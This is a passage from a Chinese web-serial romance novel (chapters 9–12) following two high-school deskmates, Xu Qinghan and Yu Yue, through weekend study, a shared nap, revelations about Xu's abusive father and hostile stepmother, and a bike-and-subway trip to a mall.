大几个小时过去,T恤还有一点潮,估计再晾一个晚上就能干透,等明天上午晒晒太阳,中午再给他。
鬼使神差地,俞越将T恤凑近鼻子嗅了嗅。
他发誓他只是想嗅嗅上面还有没有菜汤留下的味道,想着许青翰没洗干净的话他还可以帮忙搓一搓。
但鼻尖只有肥皂的香味,许青翰洗的很干净。
俞越飞快将T恤又挂了回去,转身拧开桌上的可乐喝了一大口。
可乐气泡在口腔咕噜咕噜炸开,像鼓点般的炙烈心跳。
这破心脏真的是越来越不受控制了。
9. 第 9 章
许青翰到家后在一楼客厅见到了张骁健。
对方全然没有了傍晚在食堂时的嚣张模样,估计是真的被俞越的演技给吓到了,怕惹上麻烦。
今晚晚自习的时候他也注意到了,张骁健故意经过了他们班好几次,应该是在观察俞越的情况。
他坐在另一边,故意将俞越遮挡得严严实实,俞越下课就趴在桌子上补觉,张骁健也没观察出个什么所以然来。
张可蓉给张骁健煮了热腾腾的夜宵,张骁健一边吃,一边背手机上的单词,身边还坐着一个三四岁的小男孩。
小男孩哥哥哥哥叫个不停,搅得张骁健根本没记下几个单词,如今许青翰又回来了,眼珠滴溜溜地转得飞快,并没有像对待张骁健那样唤许青翰哥哥。
虽然他年纪小,但也在耳濡目染下知道只有张骁健才是和他一个妈妈的哥哥,许青翰是爸爸和别的女人的孩子,对自己也从没有过什么好脸色,他不喜欢许青翰。
只有张可蓉对许青翰打了招呼,似是关心:“今晚怎么回来得这么晚?饿了吗?要不要阿姨给你煮点夜宵?”
许青翰冷淡地说了声“不用”,径直上楼,回了自己的房间。
国庆他就是因为吃了张可蓉做的东西才过敏的,上次是芒果,下次不知道又是什么。
母亲去世,没几个月许延就娶了张可蓉,迎她登堂入室,张可蓉来了之后直接辞退了家里工作了十几年的保姆,丢掉了许多母亲的东西,次年就生下了个儿子。
明眼人都能看得出他们的奸情。
但许多年过去,她早就坐稳了许夫人的位置,没人会再提起曾经那段疑点重重的过往,好似一切都会被时间冲淡、遗忘。
所以,在看见俞越日记本里堂而皇之称呼张可蓉为“小三”的时候,他还是有些惊讶的。
如今,代入他是穿越者的身份之后倒是都能轻易解释得通了。
许延最近又出差去了,他也烦见到他。
没关系,再忍一年,就可以离开这里了。
今晚和孙旺聊了太久,时间已然不早,胃里空空的,许青翰忽然想到什么,从书包里拿出了一袋熟悉的海盐苏打饼干。
还是俞越送给他的。
许青翰心情不错地享用了这份夜宵。
饼干味道很好,他用手机识图,在网购软件上下单了一些。
-
溟市属于二三线城市的范畴,不算繁华,也不算落后,因为临海,旅游业发展得不错。
饼干的发货地在邻省,这周六就到了。
学校门卫不帮代收保管学生的快递,容易丢,许青翰很少网购,每次都会将收货地址填在学校附近的小区。
在许青翰的监督下,俞越写了一上午作业,俄罗斯方块都没玩。
前两天落了场雨,温度降下来了一些,没那么热了,校园内也能闻见一点若有似无的桂花香味了。
周末学校的铃声照常响起,11:40往常上午的最后一节课下课,俞越迫不及待放下笔,对正在写物理竞赛题的许青翰说:“我们去吃饭吧。”
许青翰手下动作不停,“稍等。”
几分钟后,他合上竞赛书,对翘首以盼在他身边抻展身体做广播体操的俞越说:“走吧。”
高一的时候俞越也想过在周末邀许青翰一起吃饭,但周末学校食堂不供饭,他观察过,许青翰有一辆单车,周末经常会骑着单车不知道去哪儿吃饭,他没有车,跟不上,便作罢了。
现在,就算许青翰想骑车去较远的地方吃饭他也能理直气壮地让他捎自己一程了。
不过许青翰并没有骑车的打算,走在路上,对俞越说:“待会儿陪我去取个快递,请你吃牛肉面。”
“好。”俞越欣然答应。
还是那家“常回家面馆”,照片牛肉面加一个煎蛋。
俞越本以为是什么比较大件的快递或是比较多的快递,需要他帮忙搭把手拿,吃完饭和许青翰一起去到附近小区的菜鸟驿站才发现是一提饼干,许青翰一个人轻轻松松就能拿起,根本没有任何他的用武之地。
还是他特别熟悉的海盐苏打饼干。
他很喜欢吃,奶奶在世的时候会带他去小超市里买。
前不久他给许青翰送过一袋,非常非常宝贵的最后一袋。
价格不贵,也没特别便宜,对于想要攒钱的他来说挺奢侈的,一袋够买好几个馒头了。
他都已经不打算再买了。
迎上俞越欲言又止的眼神,许青翰解释说:“上次吃了你给我的,感觉很好吃,就买了一些。”
说罢,从里面拿出几袋,递了过去。
俞越赶忙伸手接过,塞进裤子口袋里面,两个口袋都被塞得鼓鼓囊囊,不重,但就是感觉哪里重重的。
他很快切换了笑脸,双颊跳出两个酒窝,“谢谢许老师。”
自从那天唤了许青翰一回许老师之后,俞越便一发不可收拾地喜欢上了这个称呼。
许青翰也渐渐习惯了,没再纠正。
就像俞越经常叫孙旺“孙二狗”那样,朋友之间,有个特殊称呼挺正常的。
-
回到学校,俞越对许青翰说:“我想去宿舍午睡会儿,你要不要也去我宿舍休息一下,我们可以轮流午睡。”
反正是在周末,下午没课,轮流睡的话就不会觉得挤了。
许青翰没有拒绝,直接提着饼干去了俞越宿舍。
想了想,他索性将饼干寄存在了这里,让俞越每天给他捎两袋带去教室,懒得带回家了。
他在家里的房间是没有锁的,张可蓉和那个刚上幼儿园的同父异母的弟弟可能会去他的房间,以前不是没发生过这样的情况,他的作业直接被“不小心”撕碎了,后来上了高中,他几乎不会把课本作业带回去了,周末也会来学校学习。
俞越欣然答应,笑着打趣说:“不怕我偷吃吗?”
许青翰看他一眼,浑不在意,“随便吃,吃完了我再买点。”
俞越乐呵呵地又唤了个新的对他的称呼:“也是傍上许少爷的大腿了。”
许青翰将他赶上了床,让他先睡,自己则坐在下面,玩了会儿手机。
那时候微信用的还不多,几乎人手一串Q.Q,许青翰翻了翻好友列表,看见了俞越的账号。
他们是高一的时候加上的好友,去年过年,俞越还给他发了条不知道从哪儿复制的花里胡哨的新年祝福,他也礼貌地回了他一句“新年快乐”。
俞越的Q.Q等级很低,头像是一条咸鱼,常年是灰暗的状态,空间里没什么内容,只有零星几条转发,相册里也是空空如也。
转发的那几条说说还都是些“转发这条锦鲤,新的
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一年好运爆棚”之类。
有点儿迷信。
又想到什么,许青翰在同学群里找到孙旺的Q.Q,发送了好友申请。
孙旺通过的很快,系统显示他正电脑在线。
孙旺的头像是条戴着牛仔帽的大黄狗,空间热闹许多,相册里有不少照片,其中一个命名为“初中”,许青翰点了进去,看见了不少初中俞越的照片。
比现在嫩很多,几乎每张都朝着镜头露出酒窝,现在和照片里的区别也就是五官长开了许多。
许青翰将最后一张照片看完才想到什么,退出点开与孙旺的对话框。
孙旺已经给他发来了好几条消息。
孙旺:【诶,学神你怎么突然加我企鹅好友】
孙旺:【是有什么事吗?】
孙旺:【[大黄狗疑惑.jpg]】
孙旺:【该不会是安静哥派你来监视我有没有去网吧上网的吧!!!】
几条消息时间间隔不一,孙旺的头像已经灰下去了,不知道是离线了还是设置了隐身。
许青翰:“……”
许青翰打字回复:【没,就是随便加一下】
孙旺像是守在屏幕跟前,回得飞快:【那就好那就好】
这周许青翰监督俞越学习他都看在眼里,说是班主任的任务,生怕许青翰又偷偷接了什么任务来监视他。
虽然他觉得学神应该没那么闲,他就是纯纯心虚。
许青翰:【继续打游戏吧】
孙旺:【好好好】
孙旺:【[大黄狗惊恐.jpg]】
孙旺:【不对,你这很像是在套话啊!!】
许青翰:【别多想】
孙旺在另一头的网吧战战兢兢好久,开了把紧张刺激的峡谷,玩儿的adc,频频失误,被队友喷成了筛子,背后出了一层冷汗,终于结束,摘下耳机、关掉电脑一气呵成,匆匆离开了网吧。
还是回去写作业吧……
-
闹钟在约摸一个小时之后响了起来。
上铺的俞越翻了个身,“吱呀”声随之响起,不多久,护栏后出现了一张迷糊的脸,脑袋上翘起了许多呆毛,声音也绵软无力,莫名带着一点撒娇意味。
“同桌,帮忙关一下闹钟,我马上起来。”
许青翰听罢帮忙将闹钟关掉了。
俞越转了个身,床也吱呀了一声。
很快,上铺又没了动静。
许青翰站起身,他本就个子高,站起来能够清晰地看见上铺的全貌。
俞越果然转身又睡着了。
许青翰想了想,低头打开手机捯饬起来。
没多久,俞越被一道歌声再次叫醒。
“明天你是否会想起,
昨天你写的日记,
明天你是否还惦记,
曾经最爱哭的你,
老师们都已想不起,
猜不出问题的你,
我也是偶然翻相片,
才想起同桌的你。”*
俞越渐渐睁开眼,一转眸,便看见了拿着手机注视着自己的许青翰。
歌声正是从他的手机里响起的,歌名叫《同桌的你》。
视线对上,许青翰淡淡开口,引用了他方才的称呼:“起床了,同桌。”
俞越:“……”
10. 第 10 章
这首歌两人都特别熟悉。
高一的元旦晚会,陈劲要求每个人都准备节目参与进来,可以是一个人的节目,也可以是合作的节目。
许青翰不太想参加,原本是计划借竞赛请假躲过去的,俞越却忽然问他会不会什么乐器,他可以唱歌,孙旺打算表演相声,俞越与他配合不来,只能另寻他法。
他还真会一点乐器,最擅长的是口琴,最开始还是母亲教他的。
他在心底丈量了一番借口请假和吹口琴跟俞越打配合的麻烦程度,最后答应了俞越。
陈劲一直觉得他有点不合群,在班上太不活跃,还找他谈过几回心,这次元旦晚会他摆明了想聚拢一下这个集体,自己的请假不一定能轻易被批准。
不如吹口琴,也就一首歌的时间。
歌是俞越选的《同桌的你》,倒是挺符合他们的关系,虽然歌词讲的是爱情,但他们都是男生,合作起来并不尴尬。
俞越唱歌挺好听的,他也紧急练习了一番曲谱,那次的合作很成功。
歌声还在继续,俞越终于从吱呀乱叫的床上坐了起来。
“起来了起来了。”他一边说着,一边掀开被子,慢吞吞地爬了下来,又对许青翰说:“你去睡会儿吧。”
许青翰将手机里的音乐关掉,摘下眼镜,放到下铺的桌上,爬上了床。
“要我叫你吗?”
“不用,我自己定闹钟。”
俞越揉揉眼睛,点点头,打着哈欠走去洗了把冷水脸。
被窝还是暖的,许青翰躺了进去,很快就睡着了。
俞越已经彻底清醒了过来,坐到下铺的桌前,好奇地拿起许青翰的眼镜,戴上了自己的眼睛。
镜片不厚,但他不近视,戴上之后还是觉得视线变得昏沉起来。
他飞快闭上眼,摘下眼镜缓了会儿,昏沉感终于消失。
他将眼镜放回桌面,小心翼翼地站起身,偷偷看了会儿上铺睡着的人。
见他真的睡熟了,才偷偷摸摸掏出手机,静音拍了几张照片。
-
许青翰是被手机闹钟准时叫醒的。
许是因为床上就只有他一个人,这回睡觉的睡姿尚且能看得过去。
他没有赖床的习惯,被叫醒就直接起来了,下床发现俞越正在玩手机。
俞越的手机还是那种老式的按键手机,里面自带俄罗斯方块和一些java游戏,他正在玩的就是俄罗斯方块。
在智能机出来之前,许青翰小时候也用过母亲的按键手机,什么牌子他记不清了,上面也有俄罗斯方块这个游戏,一时间竟有些怀念,就这么站在俞越后面看他玩了好一会儿。
方块越积越高,迟迟等不来一个消掉的机会,game over。
俞越退出游戏,转眸看了眼身后的许青翰,笑着邀请道:“你要玩一把吗?”
许青翰鬼使神差地点了下头。
小巧的按键手机落入他的掌中,他和俞越交换了位置。
俞越在他耳边说:“给我也玩一会儿你的手机呗。”
许青翰给自己的手机解锁,递给了俞越。
“里面没什么不能看的秘密吧?”俞越嘿嘿一笑,将下载的软件快速扫了一遍,没发现什么有趣的东西。
许青翰:“……没。”
俞越听罢堂而皇之地点开Q.Q,没想到竟然在聊天页看见了孙旺,点进去瞅了眼,狐疑地问:“你怎么忽然加了孙二狗?”
许青翰一顿,手指不小心按了一下方向键,放错了一个方块的位置。
他也不知道他为什么要加孙旺,就是单纯没在俞越的空间发现什么东西,想着孙旺那里或许会有,就加了。
他对这个穿越者同桌很好奇。
但他总不能这样回答俞越。
大脑飞速运转起来,一抽,回答道:“陈老师那天晚上不是说要举行秋季篮球赛吗……”
俞越声音惊喜:“你准备参加了?”
许青翰含糊回答:“还没想好。”
还在纠结,所以先加了孙旺,但不敢直接跟他说篮球赛的事,只能顾左右而言他,这很合理。
俞越丝毫没有怀疑,鼓励道:“参加吧参加吧,有你在,肯定能给咱们班拿到更好的名次。”
高一的时候学校就举行过秋季篮球赛,但只安排了高二和高三,因为高一那会儿才升学没几个月,各班同学之间还不怎么熟悉,篮球赛打不起来。
不过他们当时去凑了热闹,看了高二和高三的比赛,那时候孙旺就兴冲冲地说等高二也要参加。
俞越则趁机问了许青翰一嘴,但许青翰那时候拒绝了,说不打算参加。
许青翰:“……再想想。”
平时体育课他其实会和班上的同学一起打会儿篮球,但他不想参加篮球比赛,因为很可能会对上张骁健所处的二班,张骁健也喜欢打篮球。
他不怕张骁健,就是怕麻烦。
输了烦,赢了也烦。
张可蓉看他很不顺眼的主要原因就是觉得他太优秀了,处处比她的儿子强,心里不平衡。
篮球赛对上张骁健他们班还赢了的话,张骁健回去指定会跟张可蓉说,又要明里暗里针对他了。
他中考故意控分也是为了不去重点班,防止运气不好和张骁健分在一个班,对外则借口自己生病发挥失常。
高一开学前校领导找过他,问他要不要调去重点班,也被他拒绝了。
俞越鼓励怂恿了几句,继续探索起了许青翰的手机。
许青翰没什么聊天的好友,好友列表人也不多,没什么好看的。
他又点开了手机相册,发现里面大多都是与学习有关的照片,没有任何自拍,但有一个特殊的相册,名字叫“元宝”。
里面全都是同一条金毛的照片,毛茸茸的,特别可爱。
但距离最近的一次拍摄时间是三年多以前。
他知道,这是许青翰养的狗,从很小的时候就开始养了。
高一的时候他曾旁敲侧击地试探过许青翰,但没从许青翰那里套出任何有关于元宝的消息。
俞越将相册里的金毛照片全都翻看了一遍,越看越喜欢,迫不及待地问许青翰:“我看到相册里你的狗了,它现在养在哪儿啊?我能有机会见见它吗?”
许青翰不小心漏按了一个键,过了几秒钟才回答:“死了。”
“啊……”俞越愣住了。
相比较人类,狗的寿命不长,十几岁都算高龄了。
许青翰很小的时候就养了元宝,如今许青翰就快要十八岁,元宝可能是已经寿终正寝了。
谁料许青翰的下一句却是:“被我后妈带出去遛,不小心被车子撞死了。”
他不再操控按键移动俄罗斯方块,屏幕中心的方块越积越高,很快便弹出了游戏结束的窗口。
他将手机放到桌上,伸手拿走了俞越手里自己的手机,视线定格在屏幕对着镜头吐出舌头像是在笑的金毛脸上,回忆陡然被拉回了几年前。
“那时候我妈才刚去世不到一年,她已经和我爸领证半年多了。”
“当时是初一的暑假,我参加竞赛去了,元宝在家有保姆阿姨照顾,保姆阿姨已经在家里工作十几年了,将元宝照顾得很好。她忽然辞退了保姆,擅作主张带元宝出去遛弯,经过一个特别繁华的十字路口的时候,元宝被车子撞了。”
“她没什么事,但当时怀着孕,受到了惊吓,住进了医院,我回来的时候元宝已经被火化了,我没见到它最后一面,也找不到任何人说理。”
“我想报警调十字路口的监控,但我爸说司机已经配合赔偿了,没有调监控的必要,我一直闹,他给了我一巴掌,问我是不是在怀疑后妈什么。”
他从没有对任何人说起过这些。
他以为他一辈子都不会对任何人说出这些。
但俞越出现了。
他说他的任务是攻略他。
他不知道他要怎么攻略,但他想配合他完成任务,他们是朋友,朋友之间应该互帮互助。
所以,他愿意告诉俞越这些,让他对自己了解得更深。
就像一道阅读理解,完完
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全全将例文全都剖析开来,不论出题者的问题和答案是什么,都能轻易拿到高分。
俞越没想到许青翰会主动向他坦白这些。
心底是开心的,他和许青翰之间的距离真的在一点一点拉近,但同时也是难过的,许青翰遭遇了那样的痛苦,他觉得心疼。
“我当然怀疑她,”许青翰关掉手机,金毛的照片随之消失,“可是我什么也做不了。”
俞越捏紧拳头,愤愤诅咒道:“她不会有好下场的。”
兴许是因为穿越者的身份,许青翰听见他的这句竟觉得心底有些畅快,觉得冥冥之中,他的话一定会成真。
他也很期待看见恶有恶报的下场。
现在的他还太渺小,他会慢慢成长,等变得强大,会亲手斩绝那些讨厌的荆棘。
正想着,脸颊冷不丁被一只手捂住,许青翰一惊,下意识缩了一下脖子。
是俞越的手。
掌心很暖,捂住了他的左边脸颊。
这边的眼角下方有一颗与母亲一模一样的痣,许延好像很讨厌这颗痣,所以他特地买了适配的镜框压着。
与掌心的触感同时出现的,是身后俞越的声音:“打人不打脸,你爸也太过分了,以后他要是再欺负你,你就反抗回去,实在不行也不要让自己太吃亏,好好保护自己。”
许青翰却没再说话,也没摘下俞越落在自己脸颊的这只手,感觉左半张脸都被他的手掌捂得慢慢发热起来。
俞越在今年8月21日的日记里写了,在医院看见了眼睛受伤的他。
确实是许延动的手。
因为那天是元宝的忌日,他和张可蓉发生了一点口角,许延觉得他还在无理取闹翻旧账,直接甩了他一巴掌,不小心打碎了眼镜镜片,划伤了他的眼球。
好在不太严重,修养了一段时间就好了。
母亲还在的时候许延从不打他,第一次打他是在母亲的葬礼后,许延喝得醉醺醺的回到家,给了他一巴掌,说:“要不是你,你妈怎么会死。”
那时候他才刚上初一,个头很小,许延打他他只能抱住脑袋受着,他也没想过反抗,因为许延说的没错,母亲是因为他才死的,许延打他也是应该的。
那段时间,身体上的疼痛才能压住精神上的疼痛,他甚至开始有些期待许延打他。
现在,他的个子已经比许延高了,也发现了许延对母亲的感情并不纯粹忠诚,但在许延面前他却总是习惯沉默低头。
与其说是他不敢反抗许延,不如说是他不敢面对自己犯下的罪行。
他觉得他很懦弱,很不堪,恨不能代替母亲去死。
他不知道该怎么对俞越说。
俞越那么了解他,也是知道这些的吗?
俞越是怎么想他的?
一瞬间,他好想跟俞越说清一切,想直接问问他。
可小说里都说穿越者是要隐藏身份的,不能被原住民发现,扰乱这个世界的秩序,俞越已经很笨了,他要是再找他对峙,他应对不暇,受到惩罚怎么办。
更严重些,直接判定任务失败,被送出这个世界。
他不想害俞越。
他只能沉默。
左边脸颊的手掌忽然有了些动作,在他脸上搓了几下,打趣的声音在身后响起,带着几分调戏的意味:“你怎么脸红了?没被人摸过脸吗?”
许青翰:“……”
情绪一下子被打乱,许青翰攥住俞越的手,从自己的脸上摘了下来,在俞越还没反应过来的时候倏地起身,两只手都袭上了俞越的脸,报复般在他的脸上搓了回去。
俞越像呆住的小动物,下意识眯起眼睛,脸颊和耳朵都在以肉眼可见的速度发烫变红。
见状,许青翰终于满意地收回手,回击道:“你也脸红了。”
俞越忽然笑了起来,笑得微微低下了头,露出一双红得滴血的耳朵,连脖颈都透着淡淡的粉,肩膀一抖一抖的。
“当然会脸红啊。”
许青翰以为是自己搓得太用力了,直到很久之后才明白他这句话里的意思。
11. 第 11 章
虽然是周六,两人却齐齐在教室自习到了很晚才回去。
俞越倒是还好,宿舍就在学校里面,走一会儿就到了。许青翰却要骑车回去,他家距离学校其实挺远的。
俞越闲着没事,将许青翰送去了校门口,边走边聊。
许青翰想起了那天晚上孙旺的那句“其实有些事你也可以直接问他的”,想了想,主动问道:“你周末也不回去吗?”
住校生大多周末会回家一趟,俞越这种一直呆在学校的情况很少见。
俞越点点头,“家里没人了。”
“嗯?”
俞越解释说:“我是被遗弃的,后来被奶奶捡到才有了家,奶奶在我初三的时候去世了。奶奶的亲人和我关系不太好,我就懒得回去了,麻烦。”
说起这些,他没有太大的情绪波动,像是在讲一段别人的故事。
许青翰哑然,没想到俞越的经历与他不相上下的惨。
只能庆幸他是个穿越者。
等完成了任务,就能离开这个倒霉催的世界了。
他还要在这个世界里挣扎。
许青翰又问:“过年呢?寒暑假学校会封校的吧。”
俞越嗯一声,“奶奶在乡下还有个比较破的小房子,没人住,我会过去住一段时间。寒假过年其实还好,一些高三生会在学校自习到年关,过完年又回来自习,学校封校时间短。”
已是十月,很快就要到十一月,这一年又要过去了。
俞越反问:“你过年通常怎么过?”
许青翰垂了下眸,“去爷爷奶奶家吃一顿年夜饭,没什么意思。”
俞越随口问:“外公外婆呢?”
许青翰却不说话了。
俞越疑惑地转眸看他。
许青翰推着单车,喉结滚了滚,“他们在北方生活,很多年没见过了。”
上一次见面,还是在母亲去世那年。
俞越察觉到了许青翰的情绪变化,收回视线,看向自己的脚尖,试探着开口:“等你去了北方念大学,就可以见到他们了。”
许青翰不置可否,忽然坐上单车,对俞越说:“到了,回去吧。”
不知不觉已经走到了校门口。
俞越在心底暗暗腹诽了一句路真短,停下脚步,仰头看向坐在单车上的少年,“路上小心。”
看着许青翰的身影消失在视野里面,俞越才不紧不慢朝着宿舍的方向走去。
许青翰是个很好很好的人,许青翰的妈妈也是很好很好的人。
他直觉,许青翰的外公外婆也会是很好很好的人。
等许青翰离开溟市,肯定会迎来崭新的人生。
-
许青翰回到家的第一件事就是去取晾晒了一天的俞越的那件T恤。
因为前几天下雨,空气潮湿,俞越的T恤闷干了,但是有股形容不出的味道,他便没有直接还给俞越,而是等天晴又洗了一遍,晾晒在了院中。
今天的阳光很好,晒一整天下来肯定都是好闻的太阳味道,明天就可以给俞越带去。
可当他来到院中晾晒衣服的地方,却发现那里空空如也。
他心底隐隐有了不太好的猜测,但还是不愿相信,或许只是被和其他衣服一起收回去了呢,许延今天回来了,可能是他顺手收的。
可当他来到客厅,看见没收拾完的丙烯颜料和手工品后,最后一丝侥幸覆灭了。
手工品是一块被剪裁得并不规整的方形白色布料,上面印着大大小小的掌印,分布在棕色的树干周边,组成了一棵五彩斑斓的树。
小男孩刚被张可蓉洗干净手抱回来,玩得特别开心的样子,脸上还沾染着一点丙烯颜料。
“待会儿直接给舟舟洗个澡吧……”张可蓉话说到一半便看见了突然回来的许青翰,眼中一闪而过一点心虚,但很快便被虚伪笑容取代,“青翰回来了。”
坐在沙发上的许延也看到了终于回来的许青翰。
“我晾在外面的那件T恤呢?”许青翰的声音冷若冰霜。
“啊?什么T恤?”张可蓉装傻。
“胸口印着一条咸鱼的。”许青翰死死盯着她。
张可蓉像是终于反应过来什么,放下怀里的许轻舟,走到做完手工的桌子旁,从垃圾桶里捡起了一块印着图案的布料,大拇指和食指嫌弃地攥着布料一角。
“不会是这个吧?”
上面的图案正是俞越T恤上的那条咸鱼。
许青翰三步并两步冲过去,从她手里夺走了这块布料,气得胸口剧烈起伏起来。
张可蓉被他吓到了,声音也结巴了一下:“这…聚酯纤维…料子挺差的,我以为是骁健乱买的衣服呢,就拿来给舟舟做手工了,没想到是你的。对不起啊,阿姨再给你买件新的。”
又来了。
给个巴掌再给个甜枣。
他不信张可蓉不是故意的。
许延见状终于开口,和得一手好稀泥:“行了,不就是一件衣服,再买新的不就行了,多大点事。”
张骁健也听见动静走下楼来看了眼热闹。
许青翰余光瞥见了贼眉鼠眼的他,第一次切身体验气极反笑。
在许延皱眉训斥的边缘,许青翰终于开口:“这件T恤不是我的,是我同桌的。”
张骁健身形一凛。
“那天张骁健在食堂撞到我,弄脏了我的衣服,还推了我的同桌。我同桌心脏不好,被他推得厉害,险些病发,很多人都看到了,我送他去了宿舍休息,他见我衣服脏了,借用了他的T恤给我,我准备洗干净就还给他。”
许延极重脸面,张骁健是张可蓉和前夫的儿子,虽然现在也喊他一声爸,但终究没有血缘关系,看在张可蓉的面子上许延待他不错,可一旦他犯一点错造成了不好的影响,许延绝对不会对他有什么好脸色。
许延也不是看不出张骁健明里暗里与许青翰的较劲和不对付,只觉得是小孩子的把戏,也懒得管。
但这回,牵扯到了第三个人,许延不想家丑外扬。
许延当即从沙发上站起来,没抱凑到他身边的许轻舟,瞪了张骁健一眼,又不满地看了张可蓉一眼,视线最后落到了许青翰的身上,从钱包里拿出了几张红色的钞票。
“去给你同桌买件新的衣服,请他吃顿饭,也不是什么大事儿。”
“行。”许青翰接过钱,攥着手里的这块布料擦着张骁健的肩膀上了楼。
他将钱收进笔盒里面,打算明天带俞越去买件新的T恤,再吃点好吃的,又盯着这块布料发了好一会儿呆。
布料应该是他那个同父异母的弟弟许轻舟剪的,剪得歪歪扭扭,惨不忍睹,海浪都被剪毁了,好在上面的小咸鱼完好无损。
他总觉得,破坏一样完整的东西是罪恶的。
他见俞越穿过这件T恤,他自己也才穿过,小咸鱼的位置正对心脏。
T恤心脏被挖去了这么一块,多难受啊。
换做以前,他高低要吵一架,结局很可能是以许延的巴掌声结束。
俞越说,实在不行也不要让自己太吃亏,好好保护自己。
这是他为俞越争取的。
也是为自己争取的。
-
第二天俞越起得很早,因为这是他第一次和许青翰约定周末的自习。
以前都是他单方面的约定,不知道许青翰会不会“赴约”。
但现在,他知道许青翰肯定不会鸽他。
没想到今天格外热闹,不仅等来了许青翰,还等来了孙旺。
孙旺是因为昨天被许青翰吓到了,今天才到教室来的。
他知道许青翰周末会来学校自习,想找他当面试探一下,生怕去网吧上网的事被班主任知道。
因为孙旺的出现,许青翰没有直接对俞越说起T恤的事,有些无奈地让他放心,自己真没偷偷接下什么班主任的监视任务。
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俞越也在一旁给予了肯定的安抚,“我同桌肯定不是那种人。”
许青翰别有深意地看他一眼。
孙旺终于彻底放心,也没心思自习了,站起身,说:“我先去峡谷驰骋会儿,晚上再写作业。”
临走前,俞越忽然递给他三本书和一张借书卡,对他说:“帮我去图书馆还一下,再随便帮我借三本新的。”
“okok。”孙旺接过书便风风火火地离开了,他常去的那家网吧距离市图书馆不远,俞越经常拜托他捎书。
很快,教室里就只剩下了两个人。
许青翰不知道该怎么向俞越开口解释T恤的事,想了想,从书包里掏出了被他洗了一遍用吹风机吹干的那块小咸鱼布料。
俞越盯着这块布料愣怔了好久才反应过来是自己T恤上的,不可置信地与许青翰对上视线,“你对我的衣服做了什么?”
许青翰:“……”
许青翰感觉俞越这句话有点说不出的奇怪,赶紧将昨晚发生的通通告诉给了他。
俞越听完捏紧了拳头,“气死我了。”
呼吸也促狭了几分。
许青翰条件反射地给他顺了顺背,因为俞越那天在食堂的表演,怕他真的气得心脏出问题。
俞越确实生气,但听完许青翰后面巧妙地回击还是挺解气的,他那破T恤料子挺差的,根本不值几个钱。
许青翰旋即将那几张红色钞票拿了出来,全都递给了俞越。
“中午去市中心的商场逛逛吗?”
“好啊。”
俞越期待了一整个上午,作业都写得漫不经心。
后来干脆拿起一本古文知识科普的小书看了起来,是语文老师推荐的,对提升语文成绩有一点帮助。
看着看着,俞越忽然兴冲冲的指着上面的一行内容凑到许青翰跟前。
许青翰顺着看去,发现了自己的名字。
【青翰:信天翁的别称,亦称青庄】
见他没什么意外的表情,俞越猜到他应该早就知道,问:“信天翁是什么?鸟吗?”
许青翰嗯一声,从手机上给他搜索了信天翁的照片,解释说:“一种海鸟。”
俞越从他手里接过手机,翻看起了搜索出的百科。
“信天翁是寿命极长的鸟类之一。”
“信天翁——大半辈子异地恋,也要做忠贞的鸟。”
“信天翁象征着对爱情的执着、对伴侣的忠诚和对承诺的坚守。”*
俞越看了好久才将手机还给许青翰,竖起大拇指夸道:“是个好鸟。”
许青翰:“……”
-
时间不知不觉跳转到了11点,心早就不知道飞去哪儿的俞越迫不及待对许青翰说:“走吧走吧,今天是周日,人应该很多,我们早点过去。”
“行。”许青翰放下笔,合上了解到一半的题。
一中最近的地铁口走路要近十分钟,许青翰去车库解锁了他的单车,看向俞越,迟疑着开口:“我从没有骑单车带过人。”
俞越点点头,“非常荣幸。”
许青翰:“……我怕给你摔着了。”
俞越直接跨坐了上去,“来吧,摔也认了。”
许青翰:“……”
许青翰只能努力将车骑得比以前每一次都要稳。
经过一个减速带的时候,单车不可避免颠了一下,后座的人忽然开口:“许青翰。”
“嗯?”许青翰目不斜视。
“我有点害怕啊。”
“……”刚才不还说摔也认了?
许青翰正准备说要不下来一起走过去,便听后座的人又道:“我能抱住你的腰吗?你怕不怕痒?”
许青翰不假思索回道:“能,不怕。”
话音刚落,两条胳膊便圈住了他的腰。
背也被贴得满满当当。
能感觉到一点身后人的心跳。
12. 第 12 章
这是许青翰第一次载人,有些不知道该怎样形容的感觉。
十月下旬的风拌着一点桂花的甜香味拂面而来,让他想起了小时候吃的桂花糕。
俞越将侧脸贴在了许青翰的背上,风都被他挡住,舒服地眯起了眼睛。
一中最近的地铁口走路要近十分钟,单车则快许多,但许青翰怕第一次载人翻车,没敢骑得太快,加上红绿灯,也足足花了七八分钟。
他将车停在了附近的停车线内,上了锁。
俞越自觉站在一旁,笑眯眯地看着他的动作。
看他俯下身,衣服沿着身体轮廓勾出形状,阳光在他身上明明暗暗,看他手指翻飞,将锁抄过车轮,插入钥匙,指骨曲成好看的弧度……
许青翰一抬眼便逆光对上了一双弯弯的眸子。
他下意识眯了下眼睛,站起身,走到了侧边,再望去的时候俞越已经收敛了些笑意,但脸颊两边的酒窝依旧明显。
“走吧。”
周日地铁内的人不少,越接近市中心,车厢内的人越多,许青翰因为给一个老人家让座,站到了俞越身前。
俞越笑着冲他竖了个大拇指。
许青翰移开视线,不再看他。
俞越这个人挺欢脱的,不是很着调,有时候会让他感觉有点别扭。
就好像……被当成了一个幼儿园小朋友对待。
让个座都要竖大拇指夸他。
他真的是…真的是不知道怎么说他才好。
最后一站,俞越也跟着起身,将位置让给一个提着包的女生,站到了许青翰的身边。
“快到了。”
“嗯。”
“我也会骑自行车,回去的时候我载你吧。”
“行。”
“啊……钱怎么不见了?!”
许青翰的视线终于落到他的身上,将手摸向他的裤子口袋,但俞越的手正抄在里面,隔着衣料,他就只摸到了俞越的手。
下一秒,那只手拿着几张红色的钞票探出口袋。
“嘿嘿,骗你的。”
“……”
许青翰正准备收回手,车厢便晃动了一下,俞越一个没站稳倒向了他,他下意识扶了一把。
“吓我一跳。”俞越在他怀里加重了呼吸,稳住了身形。
许青翰赶紧给他顺背,“老实点。”
俞越笑着将钱收回口袋里面,另一只手依旧攥着他的衣服,没有松开。
车厢里同时响起播报声:“前方到站……”
不到一分钟地铁便稳稳停下,这站下车的乘客不少,两人混着人流走下车厢,踏上扶梯,朝着出口闸机走去。
许青翰:“先吃饭,再去买衣服。想吃点什么?”
俞越:“看看有什么吧。”
时间还早,没那么饿,可以先逛逛。
逛了一圈下来,俞越挑选了一家煲仔饭,一份煲仔饭差不多三十块钱左右,有免费的例汤,对他来说其实挺贵了,但比起其他店铺动不动就三位数,这家还算便宜。
反正白得了这么多钱,他不想带着许青翰和自己一起吃得太磕碜。
俞越点了份香菇鸡腿腊味饭,许青翰点了份牛肉滑蛋饭。
等餐途中,俞越迫不及待盛了碗汤回来,喝了一口,舌尖猝不及防被烫得有些发麻,嘶了好久,对许青翰说:“这家的汤味道很好,你要不要也尝尝?”
